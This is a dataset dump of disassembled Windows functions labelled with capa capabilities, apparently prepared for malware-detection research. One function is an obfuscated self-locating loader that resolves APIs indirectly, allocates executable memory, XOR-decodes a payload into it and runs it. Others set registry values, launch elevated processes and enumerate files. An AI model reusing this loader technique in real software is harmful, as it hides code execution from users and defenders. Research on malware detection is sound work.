joyce8/EMBER2024-capa huggingface dataset:
Function at 0x6d2d5580
Capabilities:
Set registry value

Disassembly:
sub esp, 0x214
mov eax, dword [0x6d2e54cc]
xor eax, esp
mov dword [esp + 0x210], eax
lea eax, [esp + 0xc]
push eax
lea ecx, [esp + 4]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push 0x6d2ddf5c
push SysReAllocString
mov dword [esp + 0x30], 0
mov dword [esp + 0x28], 0x64
mov dword [esp + 0x2c], 0x200
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x6d2d562a
call fcn.6d2d50f0
test eax, eax
je 0x6d2d55fb
lea edx, [esp + 8]
push edx
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0xc]
push 4
push ecx
call fcn.6d2d5640
add esp, 0x10
jmp 0x6d2d5603
mov edx, dword [esp + 4]
mov dword [esp + 0x10], edx
mov eax, dword [esp + 8]
mov edx, dword [esp]
push eax
lea ecx, [esp + 0x14]
push ecx
push 3
push 0
push str.EnableAutoUpdateCheck
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [esp]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0x210]
xor ecx, esp
call fcn.6d2d932c
add esp, 0x214
ret

Function at 0x6d2d5640
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x6d2d564f
pop dword [ebp - 0x34]
mov eax, 0x9ced9d60
sub eax, 0x2fc04711
sub dword [ebp - 0x34], eax
mov dword [ebp - 0x44], 0xe88a8f96
add dword [ebp - 0x44], 0x65c7b5b5
mov dword [ebp - 0x40], 0x41d710ce
sub dword [ebp - 0x40], 0xfa3c489
mov dword [ebp - 0x3c], 0x9c379a69
sub dword [ebp - 0x3c], 0x4feb563b
mov dword [ebp - 0x38], 0x1e78e656
add dword [ebp - 0x38], 0xe18719aa
lea eax, [ebp - 0x44]
push eax
mov eax, 0x32c23d18
add eax, 0x3a6b7304
add eax, dword [ebp - 0x34]
call dword [eax]
mov dword [ebp - 0x44], 0x19e99fd3
add dword [ebp - 0x44], 0x5a88c983
mov dword [ebp - 0x40], 0x72d3cd3
add dword [ebp - 0x40], 0x3a3f24a2
mov dword [ebp - 0x3c], 0x97868683
sub dword [ebp - 0x3c], 0x34171a17
mov dword [ebp - 0x38], 0x4af660e1
sub dword [ebp - 0x38], 0x4af660e1
lea ebx, [ebp - 0x44]
push ebx
push eax
mov eax, 0xa1662670
sub eax, 0x34387658
add eax, dword [ebp - 0x34]
call dword [eax]
push 0x40
push 0x1000
push 0x370d3
push 0
call eax
mov ecx, 0x496b
xor ebx, ebx
add ebx, eax
mov edx, 0x9626026e
sub edx, 0x28f6da6e
add edx, dword [ebp - 0x34]
mov edi, 0xb11c1936
sub edi, 0x907eee4c
xor dword [ebp - 0x1c], eax
mov esi, dword [edx]
add dword [ebp - 0x10], edi
xor esi, edi
mov dword [ebp - 0x18], 0xfc93d0c6
mov dword [ebx], esi
sub dword [ebp - 0xc], 0xa46ee522
add ebx, 4
add edx, 0xb5834d05
add edx, 0x4a7cb2ff
loop 0x6d2d576d
add eax, 0x45ab2fd4
sub eax, 0x45aa1755
mov ebx, eax
add eax, 0xc3e62a26
sub eax, 0xc3e62a21
mov ecx, 0x6d2c0000
add ecx, dword [ebp - 0x34]
call ebx
leave
ret
Function at 0x403500
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, ecx
push esi
push ebx
sub esp, 0x6c
mov edx, dword [ebp + 8]
mov eax, dword [ebp + 0x10]
lea ebx, [ebp - 0x64]
mov dword [esp], ebx
lea esi, [ebp - 0x54]
mov dword [esp + 4], edx
mov dword [ebp - 0x6c], eax
call fcn.0040a9e0
mov dword [esp + 4], 0x3c
mov dword [esp], esi
call fcn.00411480
cmp byte [edi + 4], 0
mov eax, str.runas
mov ecx, dword [ebp + 8]
mov edx, str.open
mov dword [ebp - 0x54], 0x3c
cmove eax, edx
mov dword [ebp - 0x48], eax
mov eax, dword [ecx + 4]
cmp byte [ebp - 0x6c], 1
mov dword [ebp - 0x50], 0x41
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x44], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x2c], str.exefile
mov eax, dword [eax + 4]
mov dword [esp], esi
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0x3c], eax
sbb eax, eax
not eax
and eax, 5
mov dword [ebp - 0x38], eax
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
sub esp, 4
xor esi, esi
test eax, eax
je 0x4035b0
mov eax, dword [ebp - 0x1c]
mov esi, 1
mov dword [edi + 8], eax
mov ecx, ebx
call fcn.00405e80
lea esp, [ebp - 0xc]
mov eax, esi
pop ebx
pop esi
pop edi
pop ebp
ret 0xc

Function at 0x4038c0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x220
mov ebx, dword [ebp + 8]
lea esi, [ebp - 0x210]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], esi
mov dword [esp], 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
sub esp, 0x10
test eax, eax
je 0x403912
mov dword [esp], esi
mov ecx, ebx
call fcn.00407ca0
mov eax, ebx
sub esp, 4
lea esp, [ebp - 8]
pop ebx
pop esi
pop ebp
ret
mov ecx, ebx
mov dword [esp], 0x457488
call fcn.00407ca0
mov eax, ebx
sub esp, 4
lea esp, [ebp - 8]
pop ebx
pop esi
pop ebp
ret
Function at 0x403b70
Capabilities:
Create shortcut via ishelllink

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x4c
mov ebx, dword [ebp + 8]
mov dword [esp], ebx
call fcn.0040d6a0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0
mov dword [esp], 0
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [ebp - 0x30]
sub esp, 4
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0x462a84
mov dword [esp + 8], 1
mov dword [esp + 4], 0
mov dword [esp], 0x45f474
call dword [sym.imp.ole32.dll_CoCreateInstance]
sub esp, 0x14
test eax, eax
jne 0x403ca9
mov eax, dword [ebp - 0x30]
lea ecx, [ebp - 0x2c]
mov edx, dword [eax]
mov dword [esp + 8], ecx
mov dword [esp + 4], 0x4621d4
mov dword [esp], eax
call dword [edx]
sub esp, 0xc
test eax, eax
mov eax, dword [ebp - 0x30]
mov edx, dword [eax]
jne 0x403ca0
mov edi, dword [ebp + 0xc]
lea esi, [ebp - 0x28]
mov ecx, dword [edi + 4]
mov dword [esp], eax
mov dword [esp + 4], ecx
call dword [edx + 0x50]
mov eax, dword [ebp - 0x30]
mov eax, dword [eax]
sub esp, 8
mov edi, dword [eax + 0x24]
mov eax, dword [ebp + 0xc]
mov dword [esp], esi
mov dword [esp + 4], eax
call fcn.0040a9e0
mov eax, dword [ebp - 0x24]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x30]
mov dword [esp], eax
call edi
sub esp, 8
mov ecx, esi
call fcn.00405e80
mov eax, dword [ebp + 0x10]
mov edx, dword [eax + 0xc]
test edx, edx
jne 0x403cc0
mov eax, dword [ebp - 0x2c]
mov edx, dword [eax]
mov dword [esp + 8], 1
mov ecx, dword [ebx + 4]
mov dword [esp], eax
mov dword [esp + 4], ecx
call dword [edx + 0x18]
mov edx, dword [ebp - 0x2c]
mov ebx, eax
mov eax, dword [edx]
sub esp, 0xc
mov dword [esp], edx
call dword [eax + 8]
mov edx, dword [ebp - 0x30]
mov eax, dword [edx]
sub esp, 4
mov dword [esp], edx
call dword [eax + 8]
sub esp, 4
call dword [sym.imp.ole32.dll_CoUninitialize]
test ebx, ebx
sete al
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp], eax
call dword [edx + 8]
sub esp, 4
call dword [sym.imp.ole32.dll_CoUninitialize]
lea esp, [ebp - 0xc]
xor eax, eax
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [ebp - 0x30]
mov esi, dword [ebp + 0x10]
mov edx, dword [eax]
mov ecx, dword [esi + 4]
mov dword [esp], eax
mov dword [esp + 4], ecx
call dword [edx + 0x2c]
sub esp, 8
jmp 0x403c52
Function at 0x405070
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x5c
mov ebp, dword [esp + 0x78]
mov esi, dword [esp + 0x74]
mov edi, dword [esp + 0x7c]
test ebp, ebp
je 0x405160
test edi, edi
je 0x405160
lea ebx, [esp + 0x18]
mov dword [esp + 0xc], 0x38
mov dword [esp + 8], str.1.2.3
mov dword [esp + 4], 0xffffffff
mov dword [esp], ebx
mov dword [esp + 0x38], 0
mov dword [esp + 0x3c], 0
mov dword [esp + 0x40], 0
call fcn.00429250
test eax, eax
jne 0x405160
mov eax, dword [esp + 0x70]
mov ecx, dword [esi]
cmp dword [esp + 0x2c], ecx
mov dword [esp + 0x18], ebp
mov dword [esp + 0x24], eax
mov eax, dword [esi]
mov dword [esp + 0x1c], edi
mov dword [esp + 0x28], eax
mov eax, edi
jae 0x40511b
mov dword [esp + 4], 0
mov dword [esp], ebx
call fcn.00427870
test eax, eax
jne 0x405160
mov eax, dword [esp + 0x1c]
test eax, eax
je 0x405127
mov ecx, dword [esi]
cmp dword [esp + 0x2c], ecx
jb 0x4050f7
add esp, 0x5c
pop ebx
pop esi
pop edi
pop ebp
ret
test eax, eax
jne 0x405160
mov dword [esp + 4], 4
mov dword [esp], ebx
call fcn.00427870
cmp eax, 1
jne 0x405123
mov dword [esp], ebx
call fcn.00428d00
test eax, eax
jne 0x405160
mov edx, dword [esp + 0x2c]
cmp dword [esi], edx
jb 0x40516d
mov dword [esi], edx
add esp, 0x5c
pop ebx
pop esi
pop edi
pop ebp
ret
add esp, 0x5c
mov eax, 0xffffffff
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, 0xfffffffb
jmp 0x40511b

Function at 0x40a040
Capabilities:
Get common file path

Disassembly:
push ebp
mov ecx, 0x81
mov ebp, esp
push edi
xor edi, edi
push ebx
sub esp, 0x230
movzx eax, word [0x45799c]
mov word [ebp - 0x20e], di
lea edi, [ebp - 0x20c]
mov ebx, dword [ebp + 8]
mov word [ebp - 0x210], ax
xor eax, eax
rep stosd dword es:[edi], eax
lea edi, [ebp - 0x210]
mov dword [esp + 0x10], edi
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x1a
mov dword [esp], 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov ecx, ebx
sub esp, 0x14
mov dword [esp], edi
call fcn.00407ca0
mov eax, ebx
sub esp, 4
lea esp, [ebp - 8]
pop ebx
pop edi
pop ebp
ret

Function at 0x40b710
Capabilities:
Delete directory
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
lea ebx, [ebp - 0x38]
sub esp, 0x3c
mov ecx, ebx
call fcn.00405f90
mov eax, dword [ebp + 8]
lea esi, [ebp - 0x28]
mov dword [esp], esi
mov dword [esp + 4], eax
call fcn.0040a500
mov dword [esp], ebx
mov ecx, esi
call fcn.004063a0
sub esp, 4
mov ecx, esi
call fcn.00405e80
mov ecx, ebx
mov dword [esp], 0x5c
call fcn.00406820
mov eax, dword [ebp - 0x34]
sub esp, 4
mov dword [esp + 4], pe_nt_image_headers32
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov eax, dword [ebp - 0x34]
sub esp, 8
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
mov esi, eax
sub esp, 4
mov ecx, ebx
call fcn.00405e80
test esi, esi
setne al
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x40ba70
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x2ac
mov ebx, dword [ebp + 0xc]
test ebx, ebx
je 0x40bc15
mov esi, dword [ebx + 4]
test esi, esi
je 0x40baaa
mov edi, dword [ebx + 0xc]
test edi, edi
jle 0x40baa3
mov eax, dword [esi]
mov ecx, esi
add esi, 0x10
call dword [eax]
sub edi, 1
jne 0x40ba95
mov dword [ebx + 0xc], 0
lea ecx, [ebp - 0x2a8]
call fcn.00405f90
mov eax, dword [ebp + 8]
lea esi, [ebp - 0x298]
mov dword [esp], esi
mov dword [esp + 4], eax
call fcn.0040a500
lea eax, [ebp - 0x2a8]
mov ecx, esi
mov dword [esp], eax
call fcn.004063a0
sub esp, 4
mov ecx, esi
call fcn.00405e80
lea ecx, [ebp - 0x2a8]
mov dword [esp], 0x5c
call fcn.00406820
sub esp, 4
lea esi, [ebp - 0x288]
lea eax, [ebp - 0x2a8]
mov dword [esp + 8], 0x457cd4
mov dword [esp + 4], eax
mov dword [esp], esi
call fcn.00407f90
lea eax, [ebp - 0x268]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x284]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
sub esp, 8
mov edi, eax
mov ecx, esi
mov dword [ebp - 0x2ac], eax
call fcn.00405e80
cmp edi, 0xffffffff
je 0x40bc1d
lea esi, [ebp - 0x278]
jmp 0x40bb93
add ecx, 0xfffffff
shl ecx, 4
add ecx, dword [ebx + 4]
mov dword [esp], esi
call fcn.00406000
sub esp, 4
mov ecx, esi
call fcn.00405e80
lea eax, [ebp - 0x268]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x2ac]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
sub esp, 8
test eax, eax
je 0x40bbf8
test byte [ebp - 0x268], 0x10
jne 0x40bb73
lea eax, [ebp - 0x23c]
mov ecx, esi
mov dword [esp], eax
call fcn.00407ca0
mov edi, dword [ebx + 0xc]
sub esp, 4
mov ecx, ebx
lea eax, [edi + 1]
mov dword [esp], eax
call fcn.004440d0
sub esp, 4
shl edi, 4
add edi, dword [ebx + 4]
mov ecx, edi
je 0x40bbd1
call fcn.00405f90
mov ecx, dword [ebx + 0xc]
test ecx, ecx
jne 0x40bb55
mov dword [esp + 4], 0
mov dword [esp], 0
call fcn.0040f760
mov ecx, dword [ebx + 0xc]
jmp 0x40bb55
mov eax, dword [ebp - 0x2ac]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_FindClose]
sub esp, 4
lea ecx, [ebp - 0x2a8]
call fcn.00405e80
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
lea ecx, [ebp - 0x2a8]
call fcn.00405e80
jmp 0x40bc15
Function at 0x40bc60
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x2dc
mov edx, dword [ebp + 0xc]
test edx, edx
je 0x40be64
mov eax, dword [ebp + 0xc]
mov ebx, dword [eax + 4]
test ebx, ebx
je 0x40bca0
mov esi, dword [eax + 0xc]
test esi, esi
jle 0x40bc96
mov eax, dword [ebx]
mov ecx, ebx
add ebx, 0x10
call dword [eax]
sub esi, 1
jne 0x40bc88
mov eax, dword [ebp + 0xc]
mov dword [eax + 0xc], 0
lea ecx, [ebp - 0x2c8]
call fcn.00405f90
mov eax, dword [ebp + 8]
lea ebx, [ebp - 0x2b8]
mov dword [esp], ebx
mov dword [esp + 4], eax
call fcn.0040a500
lea eax, [ebp - 0x2c8]
mov ecx, ebx
mov dword [esp], eax
call fcn.004063a0
sub esp, 4
mov ecx, ebx
call fcn.00405e80
lea ecx, [ebp - 0x2c8]
mov dword [esp], 0x5c
call fcn.00406820
sub esp, 4
lea ebx, [ebp - 0x2a8]
lea eax, [ebp - 0x2c8]
mov dword [esp + 8], 0x457cd4
mov dword [esp + 4], eax
mov dword [esp], ebx
call fcn.00407f90
lea eax, [ebp - 0x268]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x2a4]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
sub esp, 8
mov esi, eax
mov ecx, ebx
mov dword [ebp - 0x2cc], eax
call fcn.00405e80
cmp esi, 0xffffffff
je 0x40be59
lea esi, [ebp - 0x298]
mov ecx, esi
call fcn.00405f90
lea ebx, [ebp - 0x288]
jmp 0x40bd83
mov ecx, ebx
call fcn.00405e80
lea eax, [ebp - 0x268]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x2cc]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
sub esp, 8
test eax, eax
je 0x40be40
test byte [ebp - 0x268], 0x10
je 0x40bd5f
lea eax, [ebp - 0x23c]
mov ecx, esi
mov dword [esp], eax
call fcn.00407bf0
sub esp, 4
mov ecx, ebx
mov dword [esp], 0x457cda
call fcn.00407ca0
sub esp, 4
mov dword [esp + 4], esi
mov dword [esp], ebx
call fcn.004083a0
test al, al
je 0x40bd58
lea edi, [ebp - 0x278]
mov dword [esp], 0x457cde
mov ecx, edi
call fcn.00407ca0
sub esp, 4
mov dword [esp + 4], esi
mov dword [esp], edi
call fcn.004083a0
mov ecx, edi
mov dword [ebp - 0x2d0], eax
call fcn.00405e80
mov ecx, ebx
call fcn.00405e80
mov eax, dword [ebp - 0x2d0]
test al, al
je 0x40bd5f
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 0xc]
mov edi, dword [eax + 0xc]
lea eax, [edi + 1]
mov dword [esp], eax
call fcn.004440d0
mov eax, dword [ebp + 0xc]
sub esp, 4
shl edi, 4
add edi, dword [eax + 4]
mov ecx, edi
je 0x40bd5f
mov dword [esp], esi
call fcn.00407380
sub esp, 4
jmp 0x40bd5f
mov eax, dword [ebp - 0x2cc]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_FindClose]
sub esp, 4
mov ecx, esi
call fcn.00405e80
lea ecx, [ebp - 0x2c8]
call fcn.00405e80
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x40c2c0
Capabilities:
Enumerate files on windows

Disassembly:
cmp byte [esp + 0xc], 0
mov eax, dword [esp + 4]
mov edx, dword [esp + 8]
jne 0x40c2e0
mov dword [esp + 8], edx
mov dword [esp + 4], eax
jmp fcn.0040ba70
jmp fcn.0040bee0
Function at 0x401760
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov eax, dword [0x51dd98]
cmp eax, 0x270
jne 0x40182b
mov eax, 0x51dda0
mov ecx, dword [eax + 4]
mov edx, dword [eax]
xor edx, ecx
and cl, 1
and edx, 0x7ffffffe
movzx ecx, cl
xor edx, dword [eax]
shr edx, 1
neg ecx
sbb ecx, ecx
and ecx, 0x9908b0df
xor edx, ecx
xor edx, dword [eax + 0x634]
mov dword [eax], edx
add eax, 4
cmp eax, 0x51e12c
jl 0x401775
mov eax, dword [0x51e12c]
push esi
push edi
mov edi, 0x51e12c
mov esi, dword [edi + 4]
mov ecx, eax
xor ecx, esi
and ecx, 0x7ffffffe
xor ecx, eax
mov eax, esi
and al, 1
shr ecx, 1
movzx eax, al
neg eax
sbb eax, eax
and eax, 0x9908b0df
xor ecx, eax
mov eax, esi
xor ecx, dword [edi - 0x38c]
mov dword [edi], ecx
add edi, 4
cmp edi, 0x51e75c
jl 0x4017b6
mov edx, dword [0x51e75c]
mov ecx, dword [0x51dda0]
xor edx, ecx
and edx, 0x7ffffffe
and cl, 1
xor edx, dword [0x51e75c]
shr edx, 1
movzx eax, cl
neg eax
pop edi
sbb eax, eax
and eax, 0x9908b0df
xor edx, eax
xor edx, dword [0x51e3d0]
xor eax, eax
mov dword [0x51e75c], edx
pop esi
mov ecx, dword [eax*4 + 0x51dda0]
inc eax
mov dword [0x51dd98], eax
mov eax, ecx
shr eax, 0xb
xor ecx, eax
mov eax, ecx
and eax, 0xff3a58ad
shl eax, 7
xor ecx, eax
mov eax, ecx
and eax, 0xffffdf8c
shl eax, 0xf
xor ecx, eax
mov eax, ecx
shr eax, 0x12
xor eax, ecx
ret
Function at 0x401860
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
mov eax, dword [0x51dd98]
sub esp, 0x10
push esi
push edi
cmp eax, 0x270
jne 0x401943
mov edx, 0x51dda0
mov eax, dword [edx + 4]
mov ecx, dword [edx]
xor ecx, eax
and al, 1
and ecx, 0x7ffffffe
movzx eax, al
xor ecx, dword [edx]
shr ecx, 1
neg eax
sbb eax, eax
and eax, 0x9908b0df
xor ecx, eax
xor ecx, dword [edx + 0x634]
mov dword [edx], ecx
add edx, 4
cmp edx, 0x51e12c
jl 0x401890
mov eax, dword [0x51e12c]
mov edi, 0x51e12c
mov edi, edi
mov esi, dword [edi + 4]
mov ecx, eax
xor ecx, esi
and ecx, 0x7ffffffe
xor ecx, eax
mov eax, esi
and al, 1
shr ecx, 1
movzx eax, al
neg eax
sbb eax, eax
and eax, 0x9908b0df
xor ecx, eax
mov eax, esi
xor ecx, dword [edi - 0x38c]
mov dword [edi], ecx
add edi, 4
cmp edi, 0x51e75c
jl 0x4018d0
mov edx, dword [0x51e75c]
mov ecx, dword [0x51dda0]
xor edx, ecx
and edx, 0x7ffffffe
and cl, 1
xor edx, dword [0x51e75c]
shr edx, 1
movzx eax, cl
neg eax
sbb eax, eax
and eax, 0x9908b0df
xor edx, eax
xor edx, dword [0x51e3d0]
xor eax, eax
mov dword [0x51e75c], edx
mov ecx, dword [eax*4 + 0x51dda0]
inc eax
mov dword [0x51dd98], eax
mov eax, ecx
shr eax, 0xb
xor ecx, eax
mov eax, ecx
and eax, 0xff3a58ad
shl eax, 7
xor ecx, eax
mov eax, ecx
and eax, 0xffffdf8c
shl eax, 0xf
xor ecx, eax
mov eax, ecx
shr eax, 0x12
xor eax, ecx
mov dword [ebp - 0xc], eax
fild dword [ebp - 0xc]
jns 0x401984
fadd qword [0x5143b0]
mov eax, dword [ebx + 8]
fstp qword [ebp - 0x10]
fld qword [ebp - 0x10]
fmul qword [0x5142e0]
fstp dword [ebp - 4]
fld dword [ebp - 4]
fild dword [ebx + 8]
test eax, eax
jns 0x4019a6
fadd dword [0x5143e0]
fstp dword [ebp - 4]
fmul dword [ebp - 4]
push ecx
fadd qword [0x514300]
fstp dword [ebp - 4]
fld dword [ebp - 4]
fstp dword [esp]
call fcn.00401640
fnstcw word [ebp - 2]
movzx eax, word [ebp - 2]
add esp, 4
or eax, 0xc00
mov dword [ebp - 0xc], eax
pop edi
pop esi
fldcw word [ebp - 0xc]
fistp qword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
fldcw word [ebp - 2]
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret 4

Function at 0x417e2f
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00417ca5

Function at 0x41b2e3
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0041ae30
Function at 0x423eb0
Capabilities:
Set console window title

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x508
mov eax, dword [0x519008]
xor eax, ebp
mov dword [ebp - 4], eax
lea edx, [ebp - 0x508]
mov dword [ebp - 0x508], 0
call fcn.00429270
push str.RheaMedia2___Version_2.3.2___2020_08_03
lea eax, [ebp - 0x104]
push 0x80
push eax
call fcn.004010b0
add esp, 0xc
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
lea eax, [ebp - 0x104]
push eax
call fcn.00401080
push 0x504010
call fcn.00401110
add esp, 4
mov ecx, reloc.WS2_32.dll_accept
call fcn.004243b0
add esp, 4
test al, al
jne 0x423f53
push ecx
mov ecx, reloc.WS2_32.dll_bind
call fcn.004243b0
add esp, 4
test al, al
jne 0x423f53
push 0
push str.rheaMedia2
push str.Unable_to_find_the_Chrome_browser._nPlease_install_chrome_browser_and_try_again.
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
jmp 0x423fd5
push 0x200
lea eax, [ebp - 0x504]
push eax
push 0xffffffffffffffff
push 0x51d9e4
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
test eax, eax
je 0x423f8c
cmp word [ebp + eax*2 - 0x504], 0
je 0x423f8c
xor ecx, ecx
mov word [ebp + eax*2 - 0x504], cx
lea eax, [ebp - 0x504]
push eax
push str._file:____s_home_startup.html_
push 0x100
push 0x51d7e0
call fcn.004010b0
add esp, 0x10
call fcn.00423ff0
test al, al
je 0x423fd0
push 0
push 0x51d7e0
push str.chrome.exe
push 0x51d5e0
push 1
call fcn.0040b252
add esp, 0x14
jmp 0x423fd5
call fcn.00424440
call fcn.00429a20
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
call fcn.00403d8c
mov esp, ebp
pop ebp
ret
Function at 0x4243b0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x519008]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
mov word [0x51d5e0], ax
lea eax, [ebp - 0x10]
push eax
push 1
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionApp_Pathschrome.exe
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x424425
lea eax, [ebp - 8]
mov dword [ebp - 0xc], 7
push eax
push 0x51d5e0
lea eax, [ebp - 0xc]
mov dword [ebp - 8], 0x200
push eax
push 0
push 0
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x424425
cmp word [0x51d5e0], ax
je 0x424425
mov al, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00403d8c
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor al, al
xor ecx, ebp
call fcn.00403d8c
mov esp, ebp
pop ebp
ret
Function at 0x427160
Capabilities:
Check for time delay via queryperformancecounter
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c
mov eax, dword [0x519008]
xor eax, esp
mov dword [esp + 0x18], eax
push ebx
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, ecx
mov dword [esp + 0x10], edx
cmp esi, dword [edi]
je 0x42718b
mov edx, esi
call fcn.00427410
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
push dword [0x51dbec]
mov ecx, dword [esp + 0x1c]
sub ecx, dword [0x51dbf0]
push dword [0x51dbe8]
mov eax, dword [esp + 0x24]
sbb eax, dword [0x51dbf4]
push eax
push ecx
call fcn.004fce10
movzx ecx, word [ebp + 8]
mov ebx, eax
add ebx, esi
mov eax, edx
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
adc eax, 0
mov dword [esp + 0x14], eax
push 0
push ecx
push dword [esp + 0x18]
push dword [edi + 4]
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
je case.0x42723b.10014
cmp eax, 0xffffffff
jne 0x427218
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2734
je 0x427242
cmp eax, 0x2733
je 0x427242
cmp eax, 0x274c
je 0x427242
cmp eax, 0x2714
jg 0x42722a
je case.0x42723b.10014
sub eax, 1
jne case.0x42723b.10015
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x18]
xor ecx, esp
call fcn.00403d8c
mov esp, ebp
pop ebp
ret
add eax, 0xffffd8e2
cmp eax, 0x4f
ja case.0x42723b.10015
movzx eax, byte [eax + 0x4272bc]
jmp dword [eax*4 + 0x4272b4]
push 0x64
call esi
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
push dword [0x51dbec]
mov ecx, dword [esp + 0x1c]
sub ecx, dword [0x51dbf0]
push dword [0x51dbe8]
mov eax, dword [esp + 0x24]
sbb eax, dword [0x51dbf4]
push eax
push ecx
call fcn.004fce10
movzx ecx, word [ebp + 8]
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], edx
cmp edx, dword [esp + 0x14]
jb 0x4271d4
ja 0x42729c
movzx ecx, word [ebp + 8]
cmp eax, ebx
jb 0x4271d4
mov ecx, dword [esp + 0x24]
or eax, 0xffffffff
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00403d8c
mov esp, ebp
pop ebp
ret